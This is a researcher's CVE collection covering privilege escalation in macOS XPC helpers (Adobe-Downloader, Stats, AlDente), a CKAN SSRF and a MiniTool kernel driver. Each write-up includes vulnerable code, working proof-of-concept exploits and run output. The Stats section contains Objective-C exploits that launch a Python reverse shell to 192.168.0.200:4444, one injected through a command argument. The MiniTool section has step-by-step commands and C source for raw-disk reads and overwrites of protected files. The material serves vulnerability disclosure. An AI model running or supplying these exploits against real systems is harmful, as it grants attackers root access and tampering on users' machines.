CVE Collection
- CKAN Authenticated SSRF <= 2.9.11/2.10.4
- Adobe-Downloader <=1.3.1 Local Privilege Escalation
- Stats < v2.11.22 Local Privilege Escalation
- AlDente-Charge-Limiter <1.30 Unauthorized Privileged Hardware Operations
- MiniTool Partition Wizard 13.6 Kernel Driver pwdrvio.sys Local Privilege Escalation
- DVDFab Virtual Drive Kernel Driver dvdfabio.sys 1.5.1.0 Local Privilege Escalation
- AOMEI Partition Assistant 10.10.1 Kernel Driver ampa10.sys Local Privilege Escalation
- AOMEI Dynamic Disk Manager 10.10.1 Kernel Driver ddmdrv.sys Local Privilege Escalation
- AOMEI Backupper 8.3.0 Kernel Driver amwrtdrv.sys Local Privilege Escalation
- QILING Disk Master Kernel Driver diskbckp.sys 6, 0, 0, 0 Local Privilege Escalation
- EaseUS Partition Master 14.5 Kernel Driver epmntdrv.sys Local Privilege Escalation
- EaseUS Partition Master 14.5 Kernel Driver EUEDKEPM.sys Local Privilege Escalation
- IM-Magic Partition Resizer 7.9.0 Kernel Driver MDA_NTDRV.sys Local Privilege Escalation
- UltraISO Premium 9.76 Kernel Driver bootpt64.sys Local Privilege Escalation
- PowerISO 9.3.0.0 Kernel Driver 6.9.0.0 Local Privilege Escalation via Arbitrary Registry Write or Deletion
- Ultra RAMDisk Pro 1.82 Kernel Driver URDSCSI.sys Local Privilege Escalation via Arbitrary Registry Value Write
- StableBit Scanner 2.6.13.4088 Local Privilege Escalation via Insecure Deserialization
- StableBit DrivePool 2.3.13.1687 Local Privilege Escalation via Insecure Deserialization
- DeepCool 1.2.12 DisplayService Exposes an Unauthenticated LocalSystem Named-Pipe Control Channel
CKAN Authenticated SSRF <= 2.9.11/2.10.4
Vulnerability Information
Product: Ckan
Vendor: https://github.com/ckan
Affected Version(s): <= 2.9.11/2.10.4
CVE ID: TBD
Description: SSRF vulnerability in resource proxy functionality in Ckan <=2.9.11/2.10.4, allowing authenticated attackers to scan internal ports/hosts, and map the infrastructure environment.
Vulnerability Type: Server Side Request Forgery
Root Cause: User supplied property is not sanitized against common SSRF payloads when specifying the URL of external resources.
Impact: An authenticated attacker can scan ports/hosts of the internal network, and map the infrastructure environment. At the time of discovery, there were about 1000 instances on the Internet.
Reproduction Steps
1. Use grep to search potential vulnerable code:
2. Take a closer look into the code:
<...SNIP...>
resource_id = data_dict[u'resource_id']
log.info(u'Proxify resource {id}'.format(id=resource_id))
try:
resource = get_action(u'resource_show')(context, {u'id': resource_id})
except logic.NotFound:
return abort(404, _(u'Resource not found'))
url = resource[u'url']
parts = urlsplit(url)
if not parts.scheme or not parts.netloc:
return abort(409, _(u'Invalid URL.'))
timeout = config.get('ckan.resource_proxy.timeout')
max_file_size = config.get(u'ckan.resource_proxy.max_file_size')
response = make_response()
try:
did_get = False
r = requests.head(url, timeout=timeout)
if r.status_code in (400, 403, 405):
r = requests.get(url, timeout=timeout, stream=True)
<...SNIP...>
url is a user supplied property, and no input sanitization are employed.
3. To exploit the vulnerability, resource proxy plugin should be enabled: https://docs.ckan.org/en/2.9/maintaining/data-viewer.html#resource-proxy
4. The vulnerability requires authentication, and the user should have specific permissions.
Adobe-Downloader <=1.3.1 Local Privilege Escalation
CVE-2024-12786
XPC Local Privilege Escalation
Description
The Adobe-Downloader application is vulnerable to a local privilege escalation due to insecure implementation of its XPC service. The application registers a Mach service under the name com.x1a0he.macOS.Adobe-Downloader.helper. The associated binary, com.x1a0he.macOS.Adobe-Downloader.helper, is a privileged helper tool designed to execute actions requiring elevated privileges on behalf of the client.
The root cause of this vulnerability lies in the shouldAcceptNewConnection method, which unconditionally returns YES (or true), allowing any XPC client to connect to the service without any form of verification. Consequently, unauthorized clients can establish a connection to the Mach service and invoke methods exposed by the HelperToolProtocol interface.
extension HelperTool: NSXPCListenerDelegate {
func listener(_ listener: NSXPCListener, shouldAcceptNewConnection newConnection: NSXPCConnection) -> Bool {
newConnection.exportedInterface = NSXPCInterface(with: HelperToolProtocol.self)
newConnection.exportedObject = self
newConnection.invalidationHandler = { [weak self] in
self?.connections.remove(newConnection)
}
connections.insert(newConnection)
newConnection.resume()
return true
}
}
Among the available methods, the executeCommand method is particularly dangerous. It allows the execution of arbitrary shell commands with root privileges, effectively granting attackers full control over the system.
@objc(HelperToolProtocol) protocol HelperToolProtocol {
func executeCommand(_ command: String, withReply reply: @escaping (String) -> Void)
func startInstallation(_ command: String, withReply reply: @escaping (String) -> Void)
func getInstallationOutput(withReply reply: @escaping (String) -> Void)
}
Impact
An attacker can exploit the vulnerability to execute arbitrary code with root privilege.
Reproduction
1. Create a custom xpc client (exploit) with the following code:
#import <Foundation/Foundation.h>
static NSString* XPCHelperMachServiceName = @"com.x1a0he.macOS.Adobe-Downloader.helper";
@protocol HelperToolProtocol
- (void)executeCommand:(NSString *)command withReply:(void (^)(NSString *response))reply;
- (void)startInstallation:(NSString *)command withReply:(void (^)(NSString *response))reply;
- (void)getInstallationOutputWithReply:(void (^)(NSString *output))reply;
@end
int main()
{
NSString* service_name = XPCHelperMachServiceName;
NSXPCConnection* connection = [[NSXPCConnection alloc] initWithMachServiceName:service_name options:0x1000];
NSXPCInterface* interface = [NSXPCInterface interfaceWithProtocol:@protocol(HelperToolProtocol)];
[connection setRemoteObjectInterface:interface];
[connection resume];
id obj = [connection remoteObjectProxyWithErrorHandler:^(NSError* error)
{
NSLog(@"[-] Something went wrong");
NSLog(@"[-] Error: %@", error);
}
];
NSLog(@"Object: %@", obj);
NSLog(@"Connection: %@", connection);
NSString * command = @"touch /tmp/pwn.txt";
[obj executeCommand:command withReply:^(NSString *response)
{
NSLog(@"Response, %@", response);
}
];
NSLog(@"Exploitation Completed!");
}
2. Compile and run the exploit, we can notice the command was executed by root, as a new txt file was created by root.
adler@adlers-Mac-mini xpc-exp % ls -al /tmp/pwn.txt
ls: /tmp/pwn.txt: No such file or directory
adler@adlers-Mac-mini xpc-exp % ./adobe-downloader
2024-12-10 01:05:06.823 adobe-downloader[76237:2841517] Object: <__NSXPCInterfaceProxy_HelperToolProtocol: 0x600001058140>
2024-12-10 01:05:06.824 adobe-downloader[76237:2841517] Connection: <NSXPCConnection: 0x600000254140> connection to service named com.x1a0he.macOS.Adobe-Downloader.helper
2024-12-10 01:05:06.824 adobe-downloader[76237:2841517] Exploitation Completed!
adler@adlers-Mac-mini xpc-exp % ls -al /tmp/pwn.txt
-rw-r--r-- 1 root wheel 0 Dec 10 01:05 /tmp/pwn.txt
3. Change the command to obtain a reverse shell:
Recommendation
Implement strong client verification, including code signing checks, audit token verification, a good example can be found at https://github.com/objective-see/BlockBlock/blob/aa83b7326a4823e78cb2f2d214d39bc8af26ed79/Daemon/Daemon/XPCListener.m#L147. It is also important to enable hardened runtime and restrict some entitlements, such as com.apple.security.cs.disable-library-validation, com.apple.security.cs.allow-dyld-environment-variables, com.apple.private.security.clear-library-validation, etc.
Stats < v2.11.22 Local Privilege Escalation
CVE-2025-0396
Description
The Stats application is vulnerable to a local privilege escalation due to the insecure implementation of its XPC service. The application registers a Mach service under the name eu.exelban.Stats.SMC.Helper. The associated binary, eu.exelban.Stats.SMC.Helper, is a privileged helper tool designed to execute actions requiring elevated privileges on behalf of the client, such as setting fan modes, adjusting fan speeds, and executing the powermetrics command.
The root cause of this vulnerability lies in the shouldAcceptNewConnection method, which unconditionally returns YES (or true), allowing any XPC client to connect to the service without any form of verification. As a result, unauthorized clients can establish a connection to the Mach service and invoke methods exposed by the HelperTool interface.
func listener(_ listener: NSXPCListener, shouldAcceptNewConnection connection: NSXPCConnection) -> Bool {
connection.exportedInterface = NSXPCInterface(with: HelperProtocol.self)
connection.exportedObject = self
connection.invalidationHandler = {
if let connectionIndex = self.connections.firstIndex(of: connection) {
self.connections.remove(at: connectionIndex)
}
if self.connections.isEmpty {
self.shouldQuit = true
}
}
self.connections.append(connection)
connection.resume()
return true
}
Among the exposed methods, setFanMode and setFanSpeed can destabilize the user's device and even pose physical risks, such as overheating or system instability.
func setFanMode(id: Int, mode: Int, completion: @escaping (String?) -> Void)
func setFanSpeed(id: Int, value: Int, completion: @escaping (String?) -> Void)
The powermetrics method is particularly dangerous as it is vulnerable to a command injection vulnerability, allowing the execution of arbitrary code with root privileges. This effectively grants attackers full control over the system.
func powermetrics(_ samplers: [String], completion: @escaping (String?) -> Void) {
let result = syncShell("powermetrics -n 1 -s \(samplers.joined(separator: ",")) --sample-rate 1000")
if let error = result.error, !error.isEmpty {
NSLog("error call powermetrics: \(error)")
completion(nil)
return
}
completion(result.output)
}
public func syncShell(_ args: String) -> (output: String?, error: String?) {
let task = Process()
task.launchPath = "/bin/sh"
task.arguments = ["-c", args]
let outputPipe = Pipe()
let errorPipe = Pipe()
defer {
outputPipe.fileHandleForReading.closeFile()
errorPipe.fileHandleForReading.closeFile()
}
task.standardOutput = outputPipe
task.standardError = errorPipe
do {
try task.run()
} catch let err {
return (nil, "syncShell: \(err.localizedDescription)")
}
let outputData = outputPipe.fileHandleForReading.readDataToEndOfFile()
let errorData = errorPipe.fileHandleForReading.readDataToEndOfFile()
let output = String(data: outputData, encoding: .utf8)
let error = String(data: errorData, encoding: .utf8)
return (output, error)
}
Except powermetrics method, command injection can also be achieved by chained call.
The setSMCPath method can be used to store an arbitrary command string, which is then directly interpolated into shell commands in both setFanSpeed and setFanMode methods via the expressions syncShell("\(smc) fan \(id) -v \(value)") and syncShell("\(smc) fan \(id) -m \(mode)"). This creates additional paths for privilege escalation.
For reference, I've included a proof-of-concept that demonstrates this vulnerability chain:
#import <Foundation/Foundation.h>
@protocol HelperProtocol
- (void)versionWithCompletion:(void (^)(NSString * _Nonnull))completion;
- (void)setSMCPath:(NSString * _Nonnull)path;
- (void)setFanModeWithId:(NSInteger)id mode:(NSInteger)mode completion:(void (^)(NSString * _Nullable))completion;
- (void)setFanSpeedWithId:(NSInteger)id value:(NSInteger)value completion:(void (^)(NSString * _Nullable))completion;
- (void)powermetrics:(NSArray<NSString *> * _Nonnull)samplers completion:(void (^)(NSString * _Nullable))completion;
- (void)uninstall;
@end
int main()
{
NSString* service_name = @"eu.exelban.Stats.SMC.Helper";
NSXPCConnection* connection = [[NSXPCConnection alloc] initWithMachServiceName:service_name options:0x1000];
NSXPCInterface* interface = [NSXPCInterface interfaceWithProtocol:@protocol(HelperProtocol)];
[connection setRemoteObjectInterface:interface];
[connection resume];
id obj = [connection remoteObjectProxyWithErrorHandler:^(NSError* error)
{
NSLog(@"[-] Something went wrong");
NSLog(@"[-] Error: %@", error);
}
];
NSLog(@"Objection Info: %@", obj);
NSLog(@"Connection Info: %@", connection);
NSLog(@"Triggering a root reverse shell\n");
NSString* path = @"python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.0.200\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'";
[obj setSMCPath:path];
sleep(3);
[obj setFanSpeedWithId:1 value:2000 completion:^(NSString * _Nullable result) {
if (result) {
NSLog(@"Result: %@", result);
} else {
NSLog(@"An error occurred.");
}
}];
NSLog(@"Enjoy the root shell : )\n");
}
Impact
An attacker can exploit this vulnerability to modify the hardware settings of the user’s device and execute arbitrary code with root privileges.
Reproduction
To avoid potential hardware damage, this demonstration focuses solely on the attack path to obtain root privileges without altering the device's hardware settings.
Step 1: Below is a custom XPC client (exploit) to demonstrate the issue. Feel free to change the value of maliciousSamplers to include different command payloads:
#import <Foundation/Foundation.h>
@protocol HelperProtocol
- (void)versionWithCompletion:(void (^)(NSString * _Nonnull))completion;
- (void)setSMCPath:(NSString * _Nonnull)path;
- (void)setFanModeWithId:(NSInteger)id mode:(NSInteger)mode completion:(void (^)(NSString * _Nullable))completion;
- (void)setFanSpeedWithId:(NSInteger)id value:(NSInteger)value completion:(void (^)(NSString * _Nullable))completion;
- (void)powermetrics:(NSArray<NSString *> * _Nonnull)samplers completion:(void (^)(NSString * _Nullable))completion;
- (void)uninstall;
@end
int main()
{
NSString* service_name = @"eu.exelban.Stats.SMC.Helper";
NSXPCConnection* connection = [[NSXPCConnection alloc] initWithMachServiceName:service_name options:0x1000];
NSXPCInterface* interface = [NSXPCInterface interfaceWithProtocol:@protocol(HelperProtocol)];
[connection setRemoteObjectInterface:interface];
[connection resume];
id obj = [connection remoteObjectProxyWithErrorHandler:^(NSError* error)
{
NSLog(@"[-] Something went wrong");
NSLog(@"[-] Error: %@", error);
}
];
NSLog(@"Objection: %@", obj);
NSLog(@"Connection: %@", connection);
NSArray<NSString *> *maliciousSamplers = @[@"cpu_power", @"gpu_power; python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.0.200\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);';"];
[obj powermetrics:maliciousSamplers completion:^(NSString * _Nullable result) {
if (result) {
NSLog(@"Result: %@", result);
} else {
NSLog(@"An error occurred.");
}
}];
NSLog(@"Exploitation completed\n");
}
Step 2: To simulate an attacker’s Command and Control (C2) server, set up a netcat listener on another host.
Step 3: Compile and execute the exploit, and we will quickly gain a root reverse shell.
Recommendation
Implement robust client verification mechanisms, including code signing checks and audit token (PID is not secure) verification. Some good examples of secure client validation can be found in https://github.com/imothee/tmpdisk/blob/2572a5e738ba96d1d0ea545d620078410db62148/com.imothee.TmpDiskHelper/XPCServer.swift#L70, https://github.com/mhaeuser/Battery-Toolkit/blob/4b9a74bf1c31a57d78eb351b69fe09b861252f60/Common/BTXPCValidation.swift, https://github.com/duanefields/VirtualKVM/blob/master/VirtualKVM/CodesignCheck.swift.
AlDente-Charge-Limiter <1.30 Unauthorized Privileged Hardware Operations
CVE-2025-1078
Description
final class HelperDelegate: NSObject, NSXPCListenerDelegate {
func listener(_ listener: NSXPCListener, shouldAcceptNewConnection newConnection: NSXPCConnection) -> Bool {
newConnection.exportedInterface = NSXPCInterface(with: HelperToolProtocol.self)
newConnection.exportedObject = HelperTool.instance
newConnection.resume()
return true
}
}
@protocol HelperToolProtocol <NSObject>
- (void)getVersionWithReply:(void (^)(NSString * _Nonnull))reply;
- (void)setSMCByteWithKey:(NSString * _Nonnull)key value:(uint8_t)value;
- (void)readSMCByteWithKey:(NSString * _Nonnull)key withReply:(void (^)(char))reply;
- (void)readSMCUInt32WithKey:(NSString * _Nonnull)key reply:(void (^)(uint32_t))reply;
- (void)createAssertionWithName:(NSString * _Nonnull)assertion reply:(void (^)(uint32_t))reply;
- (void)releaseAssertionWithID:(uint32_t)assertionID;
- (void)setResetValueWithKey:(NSString * _Nonnull)key value:(uint8_t)value;
- (void)reset;
@end
Impact
Reproduction
#import <Foundation/Foundation.h>
static NSString* XPCHelperMachServiceName = @"com.apphousekitchen.aldente-pro.helper";
@protocol HelperToolProtocol <NSObject>
- (void)getVersionWithReply:(void (^)(NSString * _Nonnull))reply;
- (void)setSMCByteWithKey:(NSString * _Nonnull)key value:(uint8_t)value;
- (void)readSMCByteWithKey:(NSString * _Nonnull)key withReply:(void (^)(char))reply;
- (void)readSMCUInt32WithKey:(NSString * _Nonnull)key reply:(void (^)(uint32_t))reply;
- (void)createAssertionWithName:(NSString * _Nonnull)assertion reply:(void (^)(uint32_t))reply;
- (void)releaseAssertionWithID:(uint32_t)assertionID;
- (void)setResetValueWithKey:(NSString * _Nonnull)key value:(uint8_t)value;
- (void)reset;
@end
int main()
{
NSString* service_name = XPCHelperMachServiceName;
NSXPCConnection* connection = [[NSXPCConnection alloc] initWithMachServiceName:service_name options:0x1000];
NSXPCInterface* interface = [NSXPCInterface interfaceWithProtocol:@protocol(HelperToolProtocol)];
[connection setRemoteObjectInterface:interface];
[connection resume];
// Create a semaphore to wait for the async reply
dispatch_semaphore_t semaphore = dispatch_semaphore_create(0);
id obj = [connection remoteObjectProxyWithErrorHandler:^(NSError* error)
{
NSLog(@"[-] Something went wrong");
NSLog(@"[-] Error: %@", error);
dispatch_semaphore_signal(semaphore);
}];
NSLog(@"Object: %@", obj);
NSLog(@"NSXPC Connection: %@", connection);
NSLog(@"Trying to call getVersionWithReply remotely\n");
[obj getVersionWithReply:^(NSString *response)
{
NSLog(@"Version: %@", response);
dispatch_semaphore_signal(semaphore);
}];
// Wait for the reply (timeout after 5 seconds)
dispatch_semaphore_wait(semaphore, dispatch_time(DISPATCH_TIME_NOW, 5 * NSEC_PER_SEC));
NSLog(@"POC Completed!");
return 0;
}
adler@adlers-Mac-mini xpc-exp % gcc -framework Foundation aldente.m -o aldente
adler@adlers-Mac-mini xpc-exp % ./aldente
2024-12-13 19:12:44.470 aldente[21372:1556358] Object: <__NSXPCInterfaceProxy_HelperToolProtocol: 0x6000016580a0>
2024-12-13 19:12:44.470 aldente[21372:1556358] NSXPC Connection: <NSXPCConnection: 0x600000440140> connection to service named com.apphousekitchen.aldente-pro.helper
2024-12-13 19:12:44.470 aldente[21372:1556358] Trying to call getVersionWithReply remotely
2024-12-13 19:12:44.499 aldente[21372:1556364] Version: 15
2024-12-13 19:12:44.499 aldente[21372:1556358] POC Completed!
adler@adlers-Mac-mini tcc-exp % log stream --predicate '(subsystem == "com.apphousekitchen.aldente-pro.helper") || (eventMessage CONTAINS "com.apphousekitchen.aldente-pro.helper")'
Filtering the log data using "subsystem == "com.apphousekitchen.aldente-pro.helper" OR composedMessage CONTAINS "com.apphousekitchen.aldente-pro.helper""
Timestamp Thread Type Activity PID TTL
2024-12-13 19:12:44.470324-0500 0x17bf86 Default 0x0 21372 0 aldente: (libxpc.dylib) [com.apple.xpc:connection] [0x1452053b0] activating connection: mach=true listener=false peer=false name=com.apphousekitchen.aldente-pro.helper
2024-12-13 19:12:44.470846-0500 0x17bf86 Default 0x0 21372 0 aldente: NSXPC Connection: <NSXPCConnection: 0x600000440140> connection to service named com.apphousekitchen.aldente-pro.helper
Mitigation
MiniTool Partition Wizard 13.6 Kernel Driver pwdrvio.sys Local Privilege Escalation
Summary
MiniTool Partition Wizard DEMO 13.6 installs the signed kernel driver pwdrvio.sys. The driver exposes \\.\PartitionWizardDiskAccesser\<disk_number> and forwards read, write, and disk IOCTL requests to the lower disk device from kernel context.
In the validation below, a standard user at Medium Integrity could not directly read or write a protected file on a temporary VHD and could not directly open \\.\PhysicalDrive1. The same standard user used pwdrvio.sys to read the protected file's NTFS data clusters from the raw disk and then overwrite those clusters. After remounting the VHD, the protected file contained the low-user supplied marker.
An unprivileged user can exploit arbitrary read/write primitives over protected file resources to achieve local privilege escalation.
Affected Product and Version
- Product: MiniTool Partition Wizard DEMO
- Tested version: 13.6
- Driver:
pwdrvio.sys - Driver SHA-256:
0489B3DEC6A33E50D8A48A8DAD3F5B923A81F7300E4A71358D90D2879BAC9AA2
Download URL and SHA-256
- Download page:
https://www.partitionwizard.com/download.html - Download URL:
https://cdn2.minitool.com/?e=pw-demo&p=pw - File name used for validation:
pw_demo_installer.exe - Installer SHA-256:
DBF366FEDD9773D2B336A11180AA00CAFF0F066EF17061C022ACEDBC3548B0FB - Installer version: 13.6
- Installer signature: Valid, MiniTool Software Limited
- Driver signature: Valid, MiniTool Solution Ltd
Vulnerability Type
Local privilege escalation primitive / raw disk read-write access-control bypass through a kernel driver.
Impact
A low-privileged local user can bypass Windows file and raw-disk access controls by reading and writing raw disk sectors through pwdrvio.sys. This can expose protected file content and can modify protected files by writing their underlying NTFS data clusters.
The proof used a temporary VHD and a self-created protected marker file. The same primitive could be used against sensitive files or filesystem metadata on real disks if the vulnerable driver is installed and reachable.
Test Environment
- OS: Windows x64 test VM
- Administrator account used only for installation, VHD setup, and cleanup
- Test user: standard user
EXPDEV\low - Test user integrity: Medium Integrity
- Test user groups:
BUILTIN\Users, notBUILTIN\Administrators - Controlled disk: temporary VHD attached as disk 1
- Protected test object:
R:\protected\admin_only_flag.bin
Driver Load / Setup Steps
The official MiniTool Partition Wizard DEMO 13.6 installer was downloaded from the vendor CDN and verified. It was installed silently:
pw_demo_installer.exe /VERYSILENT /SUPPRESSMSGBOXES /NORESTART /SP-
The installer created and started the pwdrvio kernel service:
SERVICE_NAME: pwdrvio
TYPE : 1 KERNEL_DRIVER
STATE : 4 RUNNING
BINARY_PATH_NAME : \SystemRoot\system32\pwdrvio.sys
A temporary VHD was created, formatted NTFS, and assigned drive letter R:. An administrator created a protected marker file on that VHD and removed inheritance so only Administrators and SYSTEM had access:
New-Item -ItemType Directory R:\protected
[IO.File]::WriteAllBytes('R:\protected\admin_only_flag.bin', $markerBytes)
icacls R:\protected\admin_only_flag.bin /inheritance:r /grant:r 'Administrators:F' 'SYSTEM:F'
The file's NTFS extent was resolved with fsutil file queryextents. The first data run began at disk offset 5865472 and was 20480 bytes long on disk 1.
Reproduction Steps
1. Install and Verify Driver
Download the official MiniTool Partition Wizard DEMO installer:
https://cdn2.minitool.com/?e=pw-demo&p=pw
Expected installer SHA-256 from this validation:
DBF366FEDD9773D2B336A11180AA00CAFF0F066EF17061C022ACEDBC3548B0FB
Install:
pw_demo_installer.exe /VERYSILENT /SUPPRESSMSGBOXES /NORESTART /SP-
sc.exe query pwdrvio
Expected state:
STATE : 4 RUNNING
2. Create Controlled VHD and Protected Flag
Run as administrator:
diskpart.exe
create vdisk file=C:\ProgramData\VendorRepro\minitool_pwdrvio\controlled_disk.vhd maximum=96 type=fixed
select vdisk file=C:\ProgramData\VendorRepro\minitool_pwdrvio\controlled_disk.vhd
attach vdisk
create partition primary
exit
Get-Partition -DiskNumber 1 -PartitionNumber 1 | Set-Partition -NewDriveLetter R
Format-Volume -DriveLetter R -FileSystem NTFS -NewFileSystemLabel MTREPRO -Confirm:$false -Force
Create a protected marker file:
New-Item -ItemType Directory -Force R:\protected
$marker = 'MINITOOL-PWDRVIO-PROTECTED-FLAG-' + [guid]::NewGuid().ToString()
$bytes = [Text.Encoding]::ASCII.GetBytes($marker.PadRight(20480, 'A'))
[IO.File]::WriteAllBytes('R:\protected\admin_only_flag.bin', $bytes)
icacls R:\protected\admin_only_flag.bin /inheritance:r /grant:r 'Administrators:F' 'SYSTEM:F'
Resolve the file's disk offset:
fsutil fsinfo ntfsinfo R:
fsutil file queryextents R:\protected\admin_only_flag.bin
In this validation:
Disk number: 1
Partition offset: 65536
Bytes per cluster: 4096
First LCN: 1416
Run length: 20480
Disk offset: 5865472
3. Baseline as Standard User
Run as the standard user:
whoami /all
[IO.File]::ReadAllBytes('R:\protected\admin_only_flag.bin')
[IO.File]::WriteAllText('R:\protected\admin_only_flag.bin', 'SHOULD-NOT-WRITE')
[IO.File]::Open('\\.\PhysicalDrive1', [IO.FileMode]::Open, [IO.FileAccess]::ReadWrite, [IO.FileShare]::ReadWrite)
Expected result:
READ-FAILED: Access is denied.
WRITE-FAILED: Access is denied.
RAW-OPEN-FAILED: Access is denied.
4. Read Protected File Clusters Through Driver
Run as the same standard user:
minitool_pwdrvio_disk_forwarder_poc.exe --disk 1 --read --offset 5865472 --length 20480 --out exploit_read_clusters.bin
Expected result:
read 20480 bytes from disk 1 offset 5865472 via pwdrvio forwarder
Confirm the output contains the protected marker string.
5. Overwrite the Controlled Protected File Clusters
Dismount the VHD volume before writing:
mountvol R: /p
Run as the same standard user:
minitool_pwdrvio_disk_forwarder_poc.exe --disk 1 --write --offset 5865472 --in controlled_write_payload.bin --dangerous-write
Expected result:
wrote 20480 bytes to disk 1 offset 5865472 via pwdrvio forwarder
Reassign R: and verify that R:\protected\admin_only_flag.bin contains the new write marker.
6. Cleanup
Run as administrator:
Dismount-DiskImage -ImagePath C:\ProgramData\VendorRepro\minitool_pwdrvio\controlled_disk.vhd
C:\Program\unins000.exe /VERYSILENT /SUPPRESSMSGBOXES /NORESTART
sc.exe stop pwdrvio
sc.exe delete pwdrvio
sc.exe delete pwdspio
Remove-Item C:\ProgramData\VendorRepro\minitool_pwdrvio -Recurse -Force
Why This Proves the Vulnerability
The test user is a standard user at Medium Integrity. Windows correctly denied that user direct file access and direct raw-disk access. The same user could access the protected file contents and overwrite them through pwdrvio.sys, because the driver exposes raw disk reads and writes without enforcing the caller's normal Windows access checks.
This demonstrates a practical protected-file read/write impact using a controlled VHD and a self-created protected flag file.
Suggested Remediation
- Do not expose raw disk read/write forwarding to low-privileged callers.
- Restrict the device object ACL with
IoCreateDeviceSecureor an INF SDDL so only trusted administrative service components can open the device. - Impersonate the caller and require normal Windows access checks before opening or forwarding operations to disk devices.
- Remove generic disk IOCTL forwarding or replace it with a strict allowlist of non-sensitive operations.
- Add explicit authorization checks for all write-capable and raw-disk-capable IOCTL/read/write paths.
POC
// FND-013 compile-only PoC.
// MiniTool Partition Wizard pwdrvio.sys raw disk forwarder.
//
// Default actions are read-only. Raw disk writes require --dangerous-write.
// Build only; run inside an isolated VM with the vulnerable driver installed.
#define _CRT_SECURE_NO_WARNINGS
#include <windows.h>
#include <winioctl.h>
#include <stdint.h>
#include <stdio.h>
#include <wchar.h>
static void usage(void) {
fwprintf(stderr,
L"usage:\n"
L" minitool_pwdrvio_disk_forwarder_poc.exe --disk <n> --geometry\n"
L" minitool_pwdrvio_disk_forwarder_poc.exe --disk <n> --read --offset <n> --length <n> --out <file>\n"
L" minitool_pwdrvio_disk_forwarder_poc.exe --disk <n> --write --offset <n> --in <file> --dangerous-write\n"
L"\nexamples:\n"
L" minitool_pwdrvio_disk_forwarder_poc.exe --disk 0 --read --offset 0 --length 512 --out sector0.bin\n"
L" minitool_pwdrvio_disk_forwarder_poc.exe --disk 0 --geometry\n");
}
static const wchar_t *arg_value(int argc, wchar_t **argv, const wchar_t *name) {
for (int i = 1; i + 1 < argc; ++i) {
if (wcscmp(argv[i], name) == 0) return argv[i + 1];
}
return NULL;
}
static int has_arg(int argc, wchar_t **argv, const wchar_t *name) {
for (int i = 1; i < argc; ++i) {
if (wcscmp(argv[i], name) == 0) return 1;
}
return 0;
}
static uint64_t parse_u64(const wchar_t *s) {
return s ? _wcstoui64(s, NULL, 0) : 0;
}
static int read_file_all(const wchar_t *path, BYTE **buf, DWORD *len) {
HANDLE f = CreateFileW(path, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
LARGE_INTEGER sz;
DWORD got = 0;
if (f == INVALID_HANDLE_VALUE) return 0;
if (!GetFileSizeEx(f, &sz) || sz.QuadPart <= 0 || sz.QuadPart > 0x1000000) {
CloseHandle(f);
return 0;
}
*buf = (BYTE *)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, (SIZE_T)sz.QuadPart);
*len = (DWORD)sz.QuadPart;
if (!*buf || !ReadFile(f, *buf, *len, &got, NULL) || got != *len) {
CloseHandle(f);
return 0;
}
CloseHandle(f);
return 1;
}
static int write_file_all(const wchar_t *path, const BYTE *buf, DWORD len) {
HANDLE f = CreateFileW(path, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
DWORD wrote = 0;
if (f == INVALID_HANDLE_VALUE) return 0;
if (!WriteFile(f, buf, len, &wrote, NULL) || wrote != len) {
CloseHandle(f);
return 0;
}
CloseHandle(f);
return 1;
}
static int sync_read(HANDLE h, uint64_t offset, BYTE *buf, DWORD len, DWORD *got) {
OVERLAPPED ov;
DWORD err;
ZeroMemory(&ov, sizeof(ov));
ov.Offset = (DWORD)offset;
ov.OffsetHigh = (DWORD)(offset >> 32);
ov.hEvent = CreateEventW(NULL, TRUE, FALSE, NULL);
if (!ov.hEvent) return 0;
if (ReadFile(h, buf, len, got, &ov)) {
CloseHandle(ov.hEvent);
return 1;
}
err = GetLastError();
if (err == ERROR_IO_PENDING && GetOverlappedResult(h, &ov, got, TRUE)) {
CloseHandle(ov.hEvent);
return 1;
}
SetLastError(err);
CloseHandle(ov.hEvent);
return 0;
}
static int sync_write(HANDLE h, uint64_t offset, const BYTE *buf, DWORD len, DWORD *wrote) {
OVERLAPPED ov;
DWORD err;
ZeroMemory(&ov, sizeof(ov));
ov.Offset = (DWORD)offset;
ov.OffsetHigh = (DWORD)(offset >> 32);
ov.hEvent = CreateEventW(NULL, TRUE, FALSE, NULL);
if (!ov.hEvent) return 0;
if (WriteFile(h, buf, len, wrote, &ov)) {
CloseHandle(ov.hEvent);
return 1;
}
err = GetLastError();
if (err == ERROR_IO_PENDING && GetOverlappedResult(h, &ov, wrote, TRUE)) {
CloseHandle(ov.hEvent);
return 1;
}
SetLastError(err);
CloseHandle(ov.hEvent);
return 0;
}
static void hexdump_prefix(const BYTE *buf, DWORD len) {
DWORD shown = len < 256 ? len : 256;
for (DWORD i = 0; i < shown; i += 16) {
wprintf(L"%04x ", i);
for (DWORD j = 0; j < 16 && i + j < shown; ++j) {
wprintf(L"%02x ", buf[i + j]);
}
wprintf(L"\n");
}
}
int wmain(int argc, wchar_t **argv) {
const wchar_t *disk_s = arg_value(argc, argv, L"--disk");
const wchar_t *out_path = arg_value(argc, argv, L"--out");
const wchar_t *in_path = arg_value(argc, argv, L"--in");
uint64_t disk = parse_u64(disk_s);
uint64_t offset = parse_u64(arg_value(argc, argv, L"--offset"));
uint64_t length64 = parse_u64(arg_value(argc, argv, L"--length"));
int do_geometry = has_arg(argc, argv, L"--geometry");
int do_read = has_arg(argc, argv, L"--read");
int do_write = has_arg(argc, argv, L"--write");
wchar_t devpath[128];
HANDLE h;
if (!disk_s || disk > 99 || (do_geometry + do_read + do_write) != 1) {
usage();
return 2;
}
_snwprintf(devpath, _countof(devpath), L"\\\\.\\PartitionWizardDiskAccesser\\%llu",
(unsigned long long)disk);
devpath[_countof(devpath) - 1] = 0;
h = CreateFileW(devpath,
GENERIC_READ | GENERIC_WRITE,
